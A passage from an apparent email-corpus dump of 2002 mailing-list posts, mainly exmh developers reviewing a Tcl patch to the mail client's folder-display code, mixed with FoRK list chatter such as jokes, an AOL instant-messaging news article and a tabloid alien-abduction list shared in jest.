Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users -- Brent Welch Software Architect, Panasas Inc Pioneering the World's Most Scalable and Agile Storage Network www.panasas.com welch@panasas.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Anders Eriksson ,"Chris Garrigues ,","Wed, 24 Jul 2002 11:34:52 +0200",PATCH (was: Re: Another bug),"This is a multipart MIME message. --==_Exmh_6514812010 Content-Type: text/plain; charset=us-ascii cwg-dated-1027805573.3ce2ae@DeepEddy.Com said: > I just checked in a code cleanup which doesn't address this issue, > but does take a machete to code right around it. You ought to 'cvs > update' and see if your issue becomes any clearer with all the > brush removed. > My patch notes that 'msgid' and 'line' are redundant with one > another and removes one or the other from functions which takes > both. The callers are then changed to pass what the function > expects. In the case of Msg_Change, the 'line' argument is removed > and we only have the msgid argument. Ftoc_ClearCurrent is now the > first line of MsgChange. The following patch removes Ftoc_RescanLine in favour of a Ftoc_RescanLines. It runs scan(1) on a list of lines and updates ftoc accordingly. The patch also changes all the callers to make use of it. It also changes Ftoc_ClearCurrent to work of an argument instead of falsily clearing a message that's still Current on disk. All in an effort to get a one-to-one disk-display correspondence. It does add ~30 -- ~ 75 ms (~<10%) to the execution time depending on folder size due to the invocation of scan. However this version does not try to second guess the mh version of scan so if you have exotic scanlines it tells the truth. As a side effect the '+' sign now corresponds better to what's on disk. Comments appreciated. I'm going to be offlike for a couple of days, so I send the cvs diff rather than putting it in the cvs. /Anders --==_Exmh_6514812010 Content-Type: application/x-patch ; name=""exmh.patch"" Content-Description: exmh.patch Content-Disposition: attachment; filename=""exmh.patch"" Index: lib/ftoc.tcl =================================================================== RCS file: /cvsroot/exmh/exmh/lib/ftoc.tcl,v retrieving revision 1.29 diff -u -b -B -w -p -r1.29 ftoc.tcl --- lib/ftoc.tcl 22 Jul 2002 21:46:35 -0000 1.29 +++ lib/ftoc.tcl 24 Jul 2002 09:16:25 -0000 @@ -558,7 +558,7 @@ proc FtocPickRange { {addcurrent 0} } { if {$addcurrent} { Ftoc_RangeHighlight $ftoc(curLine) $ftoc(curLine) } - Ftoc_ClearCurrent + Ftoc_ClearCurrent $ftoc(curLine) Msg_ClearCurrent set ftoc(curLine) {} } @@ -611,31 +611,55 @@ proc Ftoc_NewFtoc {} { # Ftoc_ClearCurrent and Ftoc_Change are two parts of # dinking the ftoc display when advancing a message. -proc Ftoc_ClearCurrent {} { - # Clear display of current message +# +# Make line no longer appear as the currently selected line +# + +proc Ftoc_ClearCurrent { line } { global ftoc exwin set ftoc(pickone) 1 set ftoc(lineset) {} - if {$ftoc(curLine) == {}} { - set ftoc(curLine) [Mh_Cur $ftoc(folder)] - } - if {$ftoc(curLine) != {}} { - $exwin(ftext) tag remove cur $ftoc(curLine).0 $ftoc(curLine).end - Ftoc_RescanLine $ftoc(curLine) - } - return $ftoc(curLine) -} -proc Ftoc_Change { line {show show} } { +#We dont need this any more since we work off the line +#argument, not $ftoc(curLine) +# if {$ftoc(curLine) == {}} { +# set ftoc(curLine) [Mh_Cur $ftoc(folder)] +# } +# if {$ftoc(curLine) != {}} { +# $exwin(ftext) tag remove cur $ftoc(curLine).0 $ftoc(curLine).end +# Ftoc_RescanLine $ftoc(curLine) +# } + #should check that 0<$line => $f"" warn @@ -1113,7 +1192,7 @@ proc FtocCommit {tagname commitProc {cop set ftoc(displayDirty) 1 Ftoc_ClearMsgCache if {$msgid == $curid} { - Ftoc_ClearCurrent + Ftoc_ClearCurrent $ftoc(curLine) Msg_ClearCurrent } if {$L == $ftoc(curLine)} { Index: lib/msg.tcl =================================================================== RCS file: /cvsroot/exmh/exmh/lib/msg.tcl,v retrieving revision 1.21 diff -u -b -B -w -p -r1.21 msg.tcl --- lib/msg.tcl 22 Jul 2002 21:23:48 -0000 1.21 +++ lib/msg.tcl 24 Jul 2002 09:16:26 -0000 @@ -73,10 +73,20 @@ proc Msg_ShowUnseen { {show show} } { return 0 } proc Msg_ClearCurrent { } { - global msg exmh + global msg exmh ftoc + # Are there cases where this is not true? + if {$ftoc(folder) == $exmh(folder)} { + set prevline [Ftoc_FindMsg [Mh_Cur $ftoc(folder)]] + if {$prevline == {}} { + unset prevline + } + } set msg(id) {} ;# Clear current message set msg(dpy) {} ;# and currently displayed message Mh_ClearCur $exmh(folder) + if {[info exists prevline]} { + Ftoc_ClearCurrent $prevline + } MsgClear Buttons_Current 0 Uri_ClearCurrent @@ -117,13 +127,13 @@ proc Msg_Change {msgid {show show} } { Exmh_Debug Msg_Change [time [list MsgChange $msgid $show]] } proc MsgChange {msgid {show show}} { - global exmh exwin msg mhProfile + global exmh exwin msg mhProfile ftoc - Ftoc_ClearCurrent + set prevline [Ftoc_FindMsg [Mh_Cur $ftoc(folder)]] Mh_SetCur $exmh(folder) $msgid Ftoc_ShowSequences $exmh(folder) set line [Ftoc_FindMsg $msgid] - if {! [Ftoc_Change $line $show]} { + if {! [Ftoc_Change $line $prevline]} { Exmh_Status ""Cannot find msg $msgid - Rescan?"" } else { if {$msg(id) == {}} { @@ -652,14 +662,17 @@ proc Msg_UUdecode {} { } proc Msg_MarkUnseen {} { - global exmh + global exmh ftoc Msg_CheckPoint Ftoc_Iterate line { set msgid [Ftoc_MsgNumber $line] Mh_MarkUnseen $exmh(folder) $msgid } - Msg_ClearCurrent - Ftoc_ClearCurrent + Ftoc_RescanLines $ftoc(lineset) + #Why was this needed? + #Msg_ClearCurrent + #Not needed anymore + #Ftoc_ClearCurrent Flist_ForgetUnseen $exmh(folder) Ftoc_ShowSequences $exmh(folder) } Index: lib/scan.tcl =================================================================== RCS file: /cvsroot/exmh/exmh/lib/scan.tcl,v retrieving revision 1.21 diff -u -b -B -w -p -r1.21 scan.tcl --- lib/scan.tcl 22 Jul 2002 22:39:29 -0000 1.21 +++ lib/scan.tcl 24 Jul 2002 09:16:26 -0000 @@ -265,7 +265,7 @@ proc Scan_CacheUpdate {} { # this thing. # if !$ftoc(displayValid) { - set curLine [Ftoc_ClearCurrent] ;# Clear + + Ftoc_ClearCurrent $ftoc(curLine) ;# Clear + if [file writable $cacheFile] { set scancmd ""exec $mhProfile(scan-proc) [list +$folder] \ -width $ftoc(scanWidth) > [list $cacheFile]"" @@ -273,12 +273,12 @@ proc Scan_CacheUpdate {} { Exmh_Status ""failed to rescan folder $folder: $err"" warn } } - Ftoc_Change $curLine ;# Restore it + Ftoc_Change $ftoc(curline) ;# Restore it } elseif [catch { set cacheIO [open $cacheFile w] - set curLine [Ftoc_ClearCurrent] ;# Clear + + Ftoc_ClearCurrent $ftoc(curLine) ;# Clear + set display [$exwin(ftext) get 1.0 ""end -1 char""] - Ftoc_Change $curLine ;# Restore it + Ftoc_Change $ftoc(curline) ;# Restore it puts $cacheIO $display nonewline close $cacheIO set ftoc(displayDirty) 0 --==_Exmh_6514812010-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 """Joseph S. Barrera III"" ","Lucas Gonze , FoRK ","Tue, 23 Jul 2002 10:06:17 -0700",Re: spam maps,"Joseph S. Barrera III wrote: > And you. I especially hate you. BTW, guys, I'm *kidding*! I'm actually in a pretty good mood right now. I'm not actually a very hateful person, and I certainly can't think of anyone right now I hate, and certainly not anyone on this list! - Joe http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Tue, 23 Jul 2002 10:08:31 -0700",[Baseline] Raising chickens the high-tech way,">>From Egg to Drummies: 10 Weeks From Farm to Food By Larry Barrett http://www.baselinemag.com/article2/0,3959,369038,00.asp My breasts have been halved, breaded and shipped to their current resting-place on a shelf in a supermarket in Denver. My legs should be arriving in Moscow any time now. All my feathers have been processed and are now being eaten by cattle somewhere in Texas. My blood and bones have been rendered for cat food, fertilizer and who-knows- what else. My wings have been seasoned with barbecue sauce and served with a side of ranch dressing and celery at some bar and grill in New York City. My feet? Well, they're headed to Asia where I'm told they're something of a delicacy. ----------- So, a couple of things intrigued me about this byline, and its associated main article: And On the 47th Day, This Chicken Went to Market By Debbie Gage http://www.baselinemag.com/article2/0,3959,367672,00.asp - I had no idea how much computer controls played into the raising of livestock - I had no idea how fast a chicken is raised these days It also strikes me that it will not be very long before livestock is genetically engineered to be dumber and meatier, and better adapted to living in industrial conditions. - Jim http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Tue, 23 Jul 2002 13:27:06 -0700",AOL scaling back IM interoperability,"I suppose the main surprise here is that AOL is coming clean at all. After all, its long-running game of talking interop, and doing everything possible to prevent open standards in this arena, seemed to have been working fine, with most end users completely oblivious to AOL's actions. http://www.quicken.com/investments/news/story/djbn/?story=/news/stories/dj/2 0020723/ON20020723000833.htm America Online Scales Back Instant-Messaging Compatibility Efforts Updated: Tuesday, July 23, 2002 01:23 PM ET Dow Jones Newswires NEW YORK -- America Online appears to be scaling back efforts to make its instant-messaging service compatible with rival services. The unit of AOL Time Warner Inc. (AOL, news, msgs) said in a regulatory filing it is now focusing on messaging interoperability methods that are more limited in scope than the kind envisioned by the Federal Communications Commission when it approved the AOL-Time Warner merger in January 2001. America Online isn't required to make its messaging system interoperable with others, but the FCC's merger approval included what it considered to be incentives for the company to do so. It also required AOL to file progress reports on its interoperability efforts every six months. The most recent report, filed last week, disclosed the company's new direction. The upshot of the strategy shift is that the instant-messaging market isn't much closer to broad-based interoperability than it was 18 months ago, according to industry analysts. Unlike e-mail, users of most competing instant-messaging services still can't directly trade messages. So an America Online instant- messaging user can't communicate with a user of Microsoft Corp.'s (MSFT, news, msgs) MSN Messenger, except by using third-party software such as Trillian. America Online, the biggest instant-messaging provider, has been criticized for blocking users of rival services from gaining access to its users. The company also has been accused of dragging its feet amid industry attempts at interoperability. For its part, America Online has said it wants to protect the security of its users and the reliability of its system. And it points out that other companies have so far failed to agree on interoperability standards. When the FCC approved the AOL-Time Warner merger, it said that if America Online wanted to offer video-conferencing and other advanced instant-messaging features over Time Warner's cable lines, it first had to enable its instant- messaging users to communicate with users of rival services. The intent of the condition was to prevent America Online from widening its dominance of the instant-messaging market by exploiting its access to Time Warner cable systems. AOL hasn't yet introduced video features, even though rivals Microsoft and Yahoo Inc. (YHOO, news, msgs) did so last year. Specifically, the FCC said America Online would have to implement a technology known as ""server-to-server interoperability"" before it could offer video. The technology would allow users of non-America Online services to detect when AOL users are online, and to trade messages. It would do so via communications between the computer servers operated by each messaging provider, using a common language. But in the progress report filed with the FCC last week, America Online said it will ""focus its efforts"" on alternatives to server-to-server interoperability. They are more limited in scope than server-to-sever. As an example of an alternative, America Online cited a recent agreement to make its instant-messaging service compatible with a new messaging service from Apple Computer Corp. (AAPL, news, msgs). The Apple service, IChat, will be included in Mac OS X 10.2, the new Apple operating system set for release in August. IChat users will be able to talk to America Online users, but it won't involve server-to-server interoperability. Instead, the actual exchange of messages will occur only on America Online's servers, even as IChat customers use Apple software. ""We believe this kind of hosted IM solution provides, at least in the short term, a secure, reliable and cost-effective means to provide interoperability between AOL, IM and unaffiliated IM communities,"" Steven Teplitz, AOL's associate general counsel, wrote in the progress report to the FCC. As to the apparent change in strategy, company spokeswoman Kathy McKiernan said Tuesday: ""It's a recognition that server-to-server has proven a hard nut to crack for the entire industry."" Indeed, users of America Online's rival services can't directly communicate with each other, either. The alternative solution ""was something that we could implement now to provide for IM communities to communicate,"" said Ms. McKiernan, adding America Online would explore partnerships with other messaging providers, similar to the Apple deal. None has been announced so far. FCC officials couldn't be reached Tuesday. America Online hasn't ruled out the possibility that it would someday implement server-to-server interoperability. The company has explored the technology in the past, including a server-to-server last year with Lotus Development, a unit of International Business Machines Corp. (IBM, news, msgs). But America Online's interoperability test with Lotus was ""limited in scope and functionality."" True server-to-server technology ""would require further significant expenditures of time and resources to develop,"" wrote Mr. Teplitz. The Internet Engineering Task Force, a group devoted to developing Internet standards, has been working on a server-to-server messaging technology but hasn't yet developed a final version, according to America Online. Task force representatives couldn't be reached. The company's strategy shift means that true interoperability in instant messaging is still a couple of years away, according to Michael Gartenberg, analyst with Jupiter Research. ""It's still something the market wants,"" he said. ""At some point, it'll happen, but maybe a couple of years down the road."" Mr. Gartenberg and other analysts believe America Online hasn't actively pursued true interoperability because it wants to protect its large user base. If messaging systems were compatible, the company could lose ground because prospective customers might see no difference in choosing another provider, as long as they can reach America Online users. But partly because of its lack of compatibility and the FCC conditions, America Online hasn't kept up with rivals in offering new services. MSN and Yahoo have had video-conferencing via instant-messaging since last year. AOL has denied that it has held back on video messaging to avoid making its system interoperable, arguing there is little consumer demand for it. But the new features have paid off for the company's rivals, and they are catching up. Between last October and April, Microsoft's Messenger user base rose 32% to 29.1 million, according to ComScore Media Metrix, while Yahoo's base jumped 19% to 19.2 million users. In the same period, the number of users of AOL-branded messaging services increased 7% to 54.9 million. -Peter Loftus; Dow Jones Newswires; 201-938-5267; peter.loftus@dowjones.com Copyright 2002 Dow Jones & Company, Inc. All Rights Reserved http://xent.com/mailman/listinfo/fork",0,1 Eugen Leitl ,"""Joseph S. Barrera III"" ","Tue, 23 Jul 2002 23:30:33 +0200 (CEST)",Re: spam maps,"On Tue, 23 Jul 2002, Joseph S. Barrera III wrote: > BTW, guys, I'm *kidding*! I'm actually in a pretty good mood right now. > I'm not actually a very hateful person, and I certainly can't think of > anyone right now I hate, and certainly not anyone on this list! You cannot fool us. We know you inside out. P.S. We hate you, too. http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Eugen Leitl ,"Tue, 23 Jul 2002 14:46:04 -0700",Re: spam maps,"Eugen Leitl wrote: > P.S. We hate you, too. ""Fuck you, sir,"" came the familiar tired chorus. ""Louder!"" ""FUCK YOU, SIR!"" Damn, I love that book (_Forever War_). - Joe http://xent.com/mailman/listinfo/fork",0,1 """Jim Whitehead"" ","""FoRK"" ","Tue, 23 Jul 2002 17:40:26 -0700",SimPastry,"http://www.research.microsoft.com/~antr/Pastry/download.htm Pastry is a generic, scalable and efficient substrate for peer-to-peer applications. Pastry nodes form a decentralized, self-organizing and fault-tolerant overlay network within the Internet. Pastry provides efficient request routing, deterministic object location, and load balancing in an application-independent manner. Furthermore, Pastry provides mechanisms that support and facilitate application-specific object replication, caching, and fault recovery. ---- You can download a Pastry simulator off of this web site. - Jim http://xent.com/mailman/listinfo/fork",0,1 ThosStew@aol.com,FoRK@xent.com,"Wed, 24 Jul 2002 09:08:11 EDT",Re: SimPastry,"In a message dated 7/23/2002 8:45:18 PM, ejw@cse.ucsc.edu writes: >Pastry is a generic, scalable and efficient substrate for peer-to-peer >applications. Pastry nodes form a decentralized, self-organizing and >fault-tolerant overlay network within the Internet. Is it made with lard, butter, or vegetable shortenings? http://xent.com/mailman/listinfo/fork",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Wed, 24 Jul 2002 10:33:59 -0400","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","At a pub frequented by the members of the EU translator corps, a Spanish translator and an Irish translator start comparing notes. The Spanish translator asks, ""Is there anything in Irish Gaelic which corresponds to 'maana'?"" The Irishman thinks for a moment, fortified by a long pull at his pint, and finally responds, ""Yes -- but it doesn't have the same sense of terrible urgency."" -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!"" http://xent.com/mailman/listinfo/fork",0,1 Lucas Gonze ,,"Wed, 24 Jul 2002 10:27:32 -0400 (EDT)","Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","Music school jokes -- American conductor and European conductor are talking. European conductor says ""what a week, I've had 5 rehearsals and a performance."" ""That's nothing,"" says the American conductor, ""I've had five performances and a rehearsal."" What's the difference between a spring in the desert surrounded by palm trees and a violist that plays in tune? A violist that plays in tune is a mirage. What's the difference between a rat and a guitar player? The rat's got something to do tonight. Good thing it's not comedy school. http://xent.com/mailman/listinfo/fork",0,1 Chris Garrigues ,Anders Eriksson ,"Wed, 24 Jul 2002 10:23:47 -0500",Re: PATCH (was: Re: Another bug),"--==_Exmh_1600470190P Content-Type: text/plain; charset=us-ascii > From: Anders Eriksson > Date: Wed, 24 Jul 2002 11:34:52 +0200 > > The following patch removes Ftoc_RescanLine in favour of a > Ftoc_RescanLines. It runs scan(1) on a list of lines and updates ftoc > accordingly. The patch also changes all the callers to make use of it. > > It also changes Ftoc_ClearCurrent to work of an argument instead of > falsily clearing a message that's still Current on disk. All in an > effort to get a one-to-one disk-display correspondence. > > It does add ~30 -- ~ 75 ms (~<10%) to the execution time depending on > folder size due to the invocation of scan. However this version does > not try to second guess the mh version of scan so if you have exotic > scanlines it tells the truth. As a side effect the '+' sign now > corresponds better to what's on disk. > > Comments appreciated. I'm going to be offlike for a couple of days, > so I send the cvs diff rather than putting it in the cvs. Okay, I've just patched and sourced it into my running exmh, so I'll let you know if anything breaks. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1600470190P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PsaDK9b4h5R0IUIRAlnZAJ9uyst86+8R7mzxf3yWJeNv9AHe6ACdHAeC IkGCzBzaFuPg7EWgIeLNEJM= =0S4w -----END PGP SIGNATURE----- --==_Exmh_1600470190P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Gary Lawrence Murphy ,Flatware or Road Kill? ,24 Jul 2002 11:15:45 -0400,"Re: ""Ouch. Ouch. Ouch. Ouch. Ouch....""(was Re: My brain hurts)","This thread is starting to rapidly decay ... these are old bits which I cannot explain exactly why I thought they were important now or why I went rummaging through back folders to find them or even why I felt compelled by a deep sense of inner purpose to post them here ... http://www.weeklyworldnews.com/stories/2238.html 20 NEW SIGNS THAT YOU WERE ABDUCTED BY SPACE ALIENS! WINSTON-SALEM, N.C. -- You may have been abducted by space aliens -- and not even know it! Psychiatrists, psychologists and UFO experts say millions of people all over the world have been kidnapped by extraterrestrials. But most of them can't recall the experience because the memory is so painful that they've buried it deep in their subconscious minds. But there are strong tip-offs that you may be one of the millions who have encountered beings from another planet, if you know what to watch for. Experts at Wake Forest University here, as well as other respected institutions around the world, offer 20 startling new indicators that you may have had a close encounter: 1. You experience unexplained nausea or a strange sense of uneasiness around the same time each day. 2. You have an unusual new scar or strange mark on your body -- particularly on the roof of your mouth or behind an ear. 3. You often find yourself hungry for oranges or lemons -- even after you've had a large meal or eaten enough food to fill your stomach. Researchers at Oslo University say this hunger for citrus is common in alien abductees. 4. You have a strong, ever-present feeling that there is some mission or important thing you're supposed to do in life and you find yourself constantly driven to achieve it or discover what it might be. 5. You often find yourself going through your trash, or the trash of others, without knowing exactly what you're looking for. Swiss UFO researchers found that people who have been abducted often find themselves unaccountably digging through refuse. 6. You frequently dream of cattle. Psychologists at the University of Paris say it's common for the subconscious mind to substitute a cow or bull for an alien being. 7. You feel you're ""special"" or ""chosen."" 8. You are a vegetarian -- but can't exactly explain why. 9. You have an overpowering feeling of dread when you see photos or drawings of space aliens. 10. You are prone to addictive or compulsive behavior. This in itself is not necessarily indicative of alien abduction. But if there are other indicators as well, you could be an abductee. 11. You wet the bed. Studies in Peru show there's a connection. 12. You have frequent insomnia. 13. You are strangely intrigued by old western movies. Psychologists say they can't yet explain abductees' fascination with cowboy movies, but they say it exists in at least 75 percent of victims. 14. Electronic devices often go haywire around you for no discernible reason. 15. You have seen -- or think you've seen -- a mysterious, hooded figure in or near your home more than once. 16. Your fingers are stiff, numb or unresponsive for more than an hour after you wake up. 17. You have had -- or currently have -- severe back or neck problems. 18. You frequently experience a ringing in one ear. 19. You often get sinusitis or other nasal pain. 20. You are frequently haunted by the sense that you're being watched. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Innovations Through Open Source Systems: http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso) http://xent.com/mailman/listinfo/fork",0,1 Chris Garrigues ,"Anders Eriksson , exmh-workers@spamassassin.taint.org","Wed, 24 Jul 2002 10:58:02 -0500",Re: PATCH (was: Re: Another bug),"--==_Exmh_1643180900P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Wed, 24 Jul 2002 10:23:47 -0500 > > Okay, I've just patched and sourced it into my running exmh, so I'll let you > know if anything breaks. oh oh... [cwg@deepeddy lib]$ grep 'Ftoc_RescanLine ' *.tcl editor.tcl: Ftoc_RescanLine $ix dash ftoc.tcl:# Ftoc_RescanLine $ftoc(curLine) You missed the call to Ftoc_RescanLine in editor.tcl. Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1643180900P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9Ps6KK9b4h5R0IUIRAkN7AJ9kW1HE46BxlRu/TmbuiSWWq95pKgCeLhAH /u3WggFFeEtCVwV1tLzDN80= =K2O3 -----END PGP SIGNATURE----- --==_Exmh_1643180900P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,"Anders Eriksson , exmh-workers@spamassassin.taint.org","Wed, 24 Jul 2002 11:34:14 -0500",Re: PATCH (was: Re: Another bug),"--==_Exmh_1737280444P Content-Type: text/plain; charset=us-ascii > From: Chris Garrigues > Date: Wed, 24 Jul 2002 10:23:47 -0500 > > Okay, I've just patched and sourced it into my running exmh, so I'll let you > know if anything breaks. I have a folder that contains one unseen message and nothing else. I select the folder from flist: 11:17:40 **************** 11:17:40 Changing to Housekeeping/Monitor ... 11:17:40 Scan_CacheUpdate error {bad text index "".0""} 11:17:40 Scan_CacheUpdate {952 microseconds per iteration} 11:17:40 Exmh_CheckPoint {1409 microseconds per iteration} 11:17:40 {loading .xmhcache} 11:17:40 Ftoc_Reset Housekeeping/Monitor has 0 msgs 11:17:40 scan +Housekeeping/Monitor last:1000 11:17:40 Ftoc_Reset Housekeeping/Monitor has 1 msgs 11:17:40 Ftoc_ShowSequences Housekeeping/Monitor 11:17:40 unseen: 1 11:17:40 Scan_Folder {76527 microseconds per iteration} 11:17:40 Flist_Done 11:17:40 4 unread msgs in 3 folders 11:17:40 Scan_CacheUpdate error {bad text index "".0""} 11:17:40 Housekeeping/Monitor 11:17:40 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public 11:17:40 Folder_Change Housekeeping/Monitor {162590 microseconds per iteration} 11:17:42 BackgroundCheckup I select the message. 11:17:54 Msg_Pick line=1 11:17:54 Msg_Change id=1 11:17:54 Mh_SetCur +Housekeeping/Monitor cur 1 11:17:54 Mh_SequenceUpdate Housekeeping/Monitor replace cur 1 public 11:17:54 Ftoc_ShowSequences Housekeeping/Monitor 11:17:54 cur: 1 11:17:54 unseen: 1 11:17:54 Ftoc_RescanLines {16313 microseconds per iteration} 11:17:54 FastPath part=0=1 11:17:54 Msg_TextHighlight 7.0 9.0 11:17:54 Widget_TextPad h=64 last=65.0 top=3.0 11:17:54 11:17:54 FlistUnseenFolder Housekeeping/Monitor 11:17:54 {In FlagInner spool iconspool labelup} 11:17:54 {Setting flag bitmap to iconspool} 11:17:54 {Set flag state to spool} 11:17:55 Mh_SequenceUpdate Housekeeping/Monitor del unseen 1 public 11:17:55 {} 11:17:55 11:17:55 Msg_Change {248654 microseconds per iteration} I delete the message. 11:18:27 Msg_Remove Ftoc_RemoveMark 11:18:27 Msg_Remove l=1 m=1 11:18:27 Ftoc_RescanLines {15914 microseconds per iteration} 11:18:27 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public 11:18:27 Ftoc_RescanLines {15278 microseconds per iteration} 11:18:27 11:18:27 Changes pending; End of folder I click on commit and the message remains in my ftoc even though it's deleted. 11:18:43 Mh_SequenceUpdate Housekeeping/Monitor del unseen 1 public 11:18:43 {} 11:18:43 Committing 1 changes... 11:18:43 Ftoc_RescanLines {14595 microseconds per iteration} 11:18:43 Mh_SequenceUpdate Housekeeping/Monitor clear cur {} public 11:18:43 Mh_Rmm 1 11:18:43 BgAction {Rmm Housekeeping/Monitor} {Mh_Rmm Housekeeping/Monitor 1} 11:18:43 BackgroundPending {Rmm Housekeeping/Monitor} 11:18:43 ok 11:18:43 Scan_CacheUpdate error {bad text index "".0""} 11:18:43 Scan_CacheUpdate {1071 microseconds per iteration} 11:18:43 BackgroundComplete {Rmm Housekeeping/Monitor} 11:18:43 background actions complete I also noticed a few references to ftoc(curline) instead of ftoc(curLine). Chris -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. --==_Exmh_1737280444P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9PtcGK9b4h5R0IUIRAtPnAJ9GGJF16cJnH+bsHRKi+FwcxHtJogCdHk8F 2JygBKhDfRFXvfn6l6hhxN0= =Ek5X -----END PGP SIGNATURE----- --==_Exmh_1737280444P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 Chris Garrigues ,exmh-workers@spamassassin.taint.org,"Wed, 24 Jul 2002 16:31:40 -0500",[fwd: error exmh 2.5 07/13/2001 ],"--==_Exmh_566017948P Content-Type: multipart/mixed; boundary=""----- =_aaaaaaaaaa0"" Content-Id: <524.1027546300.0@deepeddy.com> ------- =_aaaaaaaaaa0 Content-Type: text/plain; charset=""us-ascii"" Content-ID: <524.1027546300.1@deepeddy.com> Am I the only one for whom typing control-L to the main window causes this error? I can't figure out why it occurs. Chris ------- =_aaaaaaaaaa0 Content-Type: message/rfc822 Content-ID: <524.1027546300.2@deepeddy.com> Content-Description: forwarded message Return-Path: Delivered-To: cwg-exmh@deepeddy.com Received: (qmail 17767 invoked from network); 24 Jul 2002 21:29:14 -0000 Received: from localhost (HELO deepeddy.vircio.com) ([127.0.0.1]) (envelope-sender ) by localhost (qmail-ldap-1.03) with SMTP for ; 24 Jul 2002 21:29:14 -0000 To: cwg-exmh@deepeddy.com Subject: error exmh 2.5 07/13/2001 Date: Wed, 24 Jul 2002 16:29:12 -0500 From: Chris Garrigues Message-ID: <1027546154.17532.TMDA@deepeddy.vircio.com> X-Delivery-Agent: TMDA/0.57 Wed Jul 24 16:29:12 CDT 2002 cwg got an error Exmh version 2.5 07/13/2001 TK version 8.3.3 TCL version 8.3.3 Linux deepeddy.vircio.com 2.4.18-ac2v5 #1 SMP Sun Mar 31 07:41:15 CST 2002 i686 unknown bad text index ""header + 1 line"" while executing ""$t index ""header + 1 line"""" (procedure ""SeditBeautify"" line 3) invoked from within ""SeditBeautify .msg.t"" (command bound to event) ------- =_aaaaaaaaaa0 Content-Type: text/plain; charset=""us-ascii"" Content-ID: <524.1027546300.3@deepeddy.com> -- Chris Garrigues http://www.DeepEddy.Com/~cwg/ virCIO http://www.virCIO.Com 716 Congress, Suite 200 Austin, TX 78701 +1 512 374 0500 World War III: The Wrong-Doers Vs. the Evil-Doers. ------- =_aaaaaaaaaa0-- --==_Exmh_566017948P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.2_20000822 06/23/2000 iD8DBQE9Pxy8K9b4h5R0IUIRAnOgAJ0Uw/GSsuOnUXG7x5WtJOJIYYweqgCghNc3 9HJtUPNX1D90p7rGch2Ry38= =0Che -----END PGP SIGNATURE----- --==_Exmh_566017948P-- _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 kchrist@lsil.com,Chris Garrigues ,"Wed, 24 Jul 2002 15:41:04 -0600",Re: [fwd: error exmh 2.5 07/13/2001 ],"This is a multipart MIME message. --==_Exmh_9973050780 Content-Type: text/plain; charset=us-ascii Chris, I think you are referring to a problem I noticed last October (see attached email). If I remember correctly, the binding for SeditBeautify is being applied outside of the sedit window and that results in the behavior observed. Kevin In message <1027546301.610.TMDA@deepeddy.vircio.com>, Chris Garrigues writes: > > Am I the only one for whom typing control-L to the main window causes this > error? > > I can't figure out why it occurs. > > Chris > --==_Exmh_9973050780 Content-Type: message/rfc822 ; name=""5637"" Content-Description: 5637 Content-Disposition: attachment; filename=""5637"" Return-Path: exmh-workers-admin@spamassassin.taint.org Delivery-Date: Tue, 02 Oct 2001 15:02:08 -0600 Received: from mhbs.lsil.com (mhbs.lsil.com [147.145.31.100]) by flytrap.co.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id PAA14805 for ; Tue, 2 Oct 2001 15:02:06 -0600 (MDT) Received: from mail2.lsil.com by mhbs.lsil.com with ESMTP for kchrist@lsil.com; Tue, 2 Oct 2001 14:02:04 -0700 Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [199.183.24.211]) by mail2.lsil.com (8.9.3+Sun/8.9.1) with ESMTP id OAA15069 for ; Tue, 2 Oct 2001 14:02:03 -0700 (PDT) Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by 